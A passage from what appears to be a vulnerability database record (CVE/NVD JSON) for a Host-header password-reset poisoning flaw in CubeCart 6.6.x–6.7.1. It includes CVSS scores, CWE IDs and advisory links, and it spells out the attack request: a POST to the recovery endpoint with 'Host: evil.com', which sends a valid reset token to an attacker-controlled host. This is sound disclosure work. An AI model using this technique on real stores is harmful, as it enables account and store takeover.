Prior to 6.7.2, CubeCart 6.6.x – 6.7.1 builds CC_STORE_URL directly from the Host request header at bootstrap, with no allowlist. The constant is embedded verbatim into transactional email links, most critically the password-reset link in User::passwordRequest() (and the admin equivalent in Admin::passwordRequest()). An unauthenticated attacker who knows a target email can POST /index.php?_a=recover with Host: evil.com; CubeCart writes a fresh verify token (valid 3,600 s) and emails the victim a link http://evil.com/index.php?_a=recovery&validate=<TOKEN>. The token is valid against the legitimate store — capturing the victim's click on evil.com yields full account takeover, or store takeover when an admin email is targeted. This vulnerability is fixed in 6.7.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-345"}, {"lang": "en", "value": "CWE-601"}, {"lang": "en", "value": "CWE-784"}]}], "references": [{"url": "https://github.com/cubecart/v6/security/advisories/GHSA-7pvc-gxc4-chmc", "source": "[email protected]"}, {"url": "https://github.com/cubecart/v6/security/advisories/GHSA-7pvc-gxc4-chmc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}
